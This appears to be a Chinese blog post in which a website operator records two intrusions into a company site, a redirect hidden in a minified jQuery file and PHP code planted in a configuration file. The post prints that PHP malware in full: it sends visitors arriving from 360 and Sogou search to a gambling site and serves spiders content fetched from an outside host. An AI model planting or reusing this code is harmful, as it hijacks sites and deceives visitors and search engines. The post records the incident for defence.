最近公司網站連續被黑了兩次,都是被植入了一些惡意代碼,讓點擊進入網站的時候,跳往色情、賭博等網站。這里就簡單記錄下吧,下次再遇上,好有個參考。
JS代碼植入
網站表現為,當用戶從瀏覽器第一次訪問時網頁時,會彈出一個色情網站廣告的彈窗,隨后經過幾秒鐘便會跳往該網站。此狀況比較容易識別,可能的情況有一下幾種
- JS代碼中植入了重定向代碼
- XSS攻擊,用戶提交的信息未經過驗證,附帶了惡意JS代碼,并發往瀏覽器進行執行。
- 用戶上傳的圖片中隱藏了經過壓縮的JS代碼,此類攻擊比較隱蔽,讓站長們很難找出來,需要注意的是,在用戶上傳圖片的時候,圖片也不能忽視驗證。
本次攻擊的方式為第一種,惡意代碼隱藏在經過壓縮的JQuery文件中,因此文件為壓縮文件,隱藏性較高。
PHP代碼植入
此情況表現為,當用戶用360搜索本站時,點擊結果時,會跳往賭博網站,點擊快照為正常本站網頁,而且用百度、谷歌等搜索出來的結果均無問題。
由于排除了JS代碼植入的可能,一度認為是360搜索搞的鬼,跟360官方支持郵件往來了幾天,得到的結果仍然是說我網站被黑,沒對我網站做任何手腳,好吧,就只能自己折騰一遍,掃了一遍源碼。確實發現了惡意代碼,壓縮過地植入到配置文件中,如下:
define('u_b','/');
define('s_u','http://idx.root1111.com/');
define('s_s', '@haosou.com|360Spider|sougou|HaosouSpider|so.com@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p() {
$d = '';
if (isset($_SERVER['REQUEST_URI'])) {
$d = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$d = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
} else {
$d = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}
}
if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
if (function_exists('mb_convert_encoding')) {
$d = mb_convert_encoding($d, 'UTF-8', 'GBK');
} else {
$d = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $d)) == $d ? $d: @iconv('GBK', 'UTF-8', $d);
}
}
$r = explode('#', $d, 2);
$d = $r[0];
return $d;
}
function r_s($url) {
$o = array('http' = >array('method' = >"GET", 'timeout' = >8));
$context = stream_context_create($o);
$h = file_get_contents($url, false, $context);
if (empty($h)) {
$h = file_get_contents($url);
}
return $h;
}
if (preg_match(s_s, r_s)) {
$d_s = true;
if (preg_match("@site%3A|inurl%3A@i", r_s)) {
setcookie('xx', h_t, time() + 259200);
$d_s = false;
}
if ($d_s) {
header('Location: http://668689.net');
exit;
}
}
if (strstr(h_z, u_b)) {
if (preg_match(s_s, u_s)) {
$d_u = s_u.'?xu='.bin2hex(h_z);
$d_u. = '&xh='.bin2hex(h_t);
$d_c = r_s($d_u);
echo $d_c;
exit;
}
}
黑客只對來源360搜索和搜狗搜索的結果進行了重定向,頗有取舍,也造成了站長的疑惑,讓人懷疑是360搞的鬼,套路深。